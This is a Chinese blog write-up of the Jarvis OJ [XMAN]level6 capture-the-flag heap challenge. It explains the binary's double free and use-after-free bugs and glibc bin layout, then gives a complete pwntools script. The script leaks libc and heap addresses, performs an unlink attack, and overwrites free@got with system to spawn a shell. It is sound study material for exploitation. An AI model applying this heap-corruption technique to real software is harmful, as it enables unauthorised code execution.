浙大Jarvisoj [XMAN]level6 Writeup

分析代码

初始化

0x0804A2EC:保存malloc(0xC10)返回的指针

malloc(0xC10) 0 1 ... ...
value note 总数:256 已使用 note 数 0

一、Show note

已使用 note 数 <= 0 直接返回,否则遍历所有 note 进行输出。

二、Add note

已使用 note 数 >= note 总数,直接返回。添加一个 note,已使用 note 数加一,malloc 分配的最小内存为 0x80,添加完成 note 总数自增1,note 结构为:

struct note {
    DWORD use;     // 是否使用
    DWORD size;    // 大小
    DWORD ptr;     // 内容指针
};

malloc(0x80);
/*
实际分配了 0x88 大小内存
(0x80 + 0x4 + 0x7) & ~0x7 == 0x88
*/
#define request2size(req)                                        \
    (((req) + SIZE_SZ + MALLOC_ALLGN_MASK < MINSIZE) ?           \
    MINSIZE :                                                    \
    ((req) + SIZE_SZ + MALLOC_ALLGN_MASK) & ~MALLOC_ALLGN_MASK)

#define MALLOC_ALLGN_MASK    (MALLOC_ALLGNMENT - 1)
#define MALLOC_ALLGNMENT     (2 * SIZE_SZ)
// SIZE_SZ 64位为 8, 32位为 4

三、Edit note

 

Edit 只验证了索引项的use是否为1,并没有验证索引是否存在(可以伪造 note 结构,实现任意地址写入),如果新编辑的长度和之前的不一样会重新分配内存。

四、Del note

Del 没有检测索引项是否存在,造成多次释放,没有把分配的指针置0,存在 Use After Free,对释放的指针重新利用。

fastbinsY

fastbinsY 是一个 bin 数组,用来存放fast bin。单链表结构

0 1 2 3 ... ... 8 9
0x10(4*SIZE_SZ) 0x18(+ 2*SIZE_SZ) 0x20 0x28 ... ... 0x50 0x58

bins

unsorted bin

一定大小的 chunk 被释放时(该 chunk 不和 top chunk 紧邻),在进入 small bin 或者 large bin 之前,会先加入 unsorted bin。双链表结构,占两个bins

small bin

同一个 small bin 里 chunk 大小相同,双链表结构

解题过程

当 unsorted bin 中存在一个 chunk 时,这个 chunk 的 fd 和 bk 都指向 main_arena+48 (32位)处,main_arena 在 libc 中位于 __malloc_hook + 0x18 (32位)处。

int
__malloc_trim (size_t s)
{
  int result = 0;

  if (__malloc_initialized < 0)
    ptmalloc_init ();

  mstate ar_ptr = &main_arena;  // main_arena
  do
    {
      (void) mutex_lock (&ar_ptr->mutex);
      result |= mtrim (ar_ptr, s);
      (void) mutex_unlock (&ar_ptr->mutex);

      ar_ptr = ar_ptr->next;
    }
  while (ar_ptr != &main_arena);

  return result;
}

泄露 libc 基址

目地:为拦截free,修改free的got地址值做准备

 

创建两个 chunk(内容不要超过四个字节,否则会覆盖掉 main_arena 的地址),释放chunk0,在重新申请(大小相同),然后查看 note

libcbase = main_arena - 0x30 - (__malloc_hook + 0x18)

泄露 heap 基址

目的:修改 note 内容指针,往free@got写入system地址,为利用 unlink 做准备

 

再创建两个 chunk,释放掉 chunk0 和 chunk2,在申请一个chunk(也就是chunk0,注意不要覆盖掉 bk,bk指向的是 chunk2 的地址),查看 note

heapbase = chunk2 - 0x88 - 0x88 - 0xC18 (chunk0、chunk1 和 刚开始申请的堆的大小)

利用 unlink

条件:P->fd->bk == P->bk->fd == P 另外一种形式 *(*(P + fd offset) + bk offset) == *(*(P + bk offset) + fd offset) == P(P 表示 chunk 的指针,C语言中 -> 的左边是某个地址,右边地址偏移)

目的:修改 chunk0 指向的指针(chunk0 = &chunk0 - 12, 32位)

 

释放 chunk1,将前3个 chunk 合并,在申请一个大的 chunk 不要超过前三个总大小,在新的 chunk 里面伪造一个空闲 chunk,伪造的大小为 0x80可以保证已经释放的 chunk1 的指针指向伪造的第二个 chunk。

伪造的 chunk 的 fd 和 bk 要满足条件。

释放 chunk1 (伪造的第二个 chunk),伪造的第二个 chunk 的 PREV_INUSE 为0(前一个 chunk 是空闲的),将会进行合并 unlink,合并之后 &chunk0,就会修改成 伪造的 chunk 的 fd 值。

伪造 note 结构

目的:改变 free@got 的值,调用system

 

当前 chunk0 指向已使用 note 数的地址,开始伪造 note 结构,确保写入的长度相同,不要重新申请内存。

再次往 chunk0 写入,写入内容为 system 的地址,再写入chunk1,内容为/bin/sh\x00,释放 chunk1 执行 free('/bin/sh') 相当于 system('/bin/sh')

exp

from pwn import *

debug = 0
local = 1
host = ""
port = 0
filename = "./freenote_x86"

def add(data):
    p.sendlineafter(b'choice: ', b'2')
    p.sendlineafter(b'new note: ', f'{len(data)}'.encode())
    p.sendafter(b'your note: ', data)

def _del(index):
    p.sendlineafter(b'choice: ', b'4')
    p.sendlineafter(b'number: ', f'{index}'.encode())

def show():
    p.sendlineafter(b'choice: ', b'1')

def edit(index, data):
    p.sendlineafter(b'choice: ', b'3')
    p.sendlineafter(b'number: ', f'{index}'.encode())
    p.sendlineafter(b'note: ', f'{len(data)}'.encode())
    p.sendlineafter(b'note: ', data)
    

p = process(filename) if not debug and local else gdb.debug(filename, "b *0x80484D0\nb *0x80489D0") if debug else remote(host, port)
elf = ELF(filename)
if local:
    libc = ELF('/root/Desktop/glibc-all-in-one/libs/2.19-10ubuntu2_i386/libc.so.6')
else:
    libc = ELF('./libc-2.19.so')

# libcbase addr
add(b'AAAA')  # 0
add(b'AAAA')  # 1
_del(0)
add(b'AAAA')  # 0
show()
p.recvuntil(b'AAAA')
addr = u32(p.recv(4)) - 0x30
print(hex(addr))
main_arena = libc.sym['__malloc_hook'] + 0x18
libcbase = addr - main_arena
system = libcbase + libc.sym['system']

# heapbase addr
add(b'AAAA')  # 2
add(b'AAAA')  # 3
_del(0)
_del(2)
add(b'AAAA')  # 0
show()
p.recvuntil(b'AAAA')
addr = u32(p.recv(4))
print(hex(addr))
heapbase = addr - 0x88 - 0x88 - 0xC18
chunk0_addr = heapbase + 0x18

# unlink
_del(0)
_del(1)
payload = p32(0) + p32(0x81) + p32(chunk0_addr - 12) + p32(chunk0_addr - 8)
payload = payload.ljust(0x80, b'C')
payload += p32(0x80) + p32(0x80)
payload = payload.ljust(0x80 + 0x80, b'C')
add(payload)
_del(1)

# shell
payload = p32(1) + p32(1) + p32(4) + p32(elf.got['free']) + p32(1) + p32(8) + p32(heapbase + 0x100)
payload = payload.ljust(0x100, b'C')
edit(0, payload)
edit(0, p32(system))
edit(1, b'/bin/sh\x00')
_del(1)
p.interactive()

 

posted @ 2023-05-08 22:28  liert  阅读(32)  评论(0编辑  收藏  举报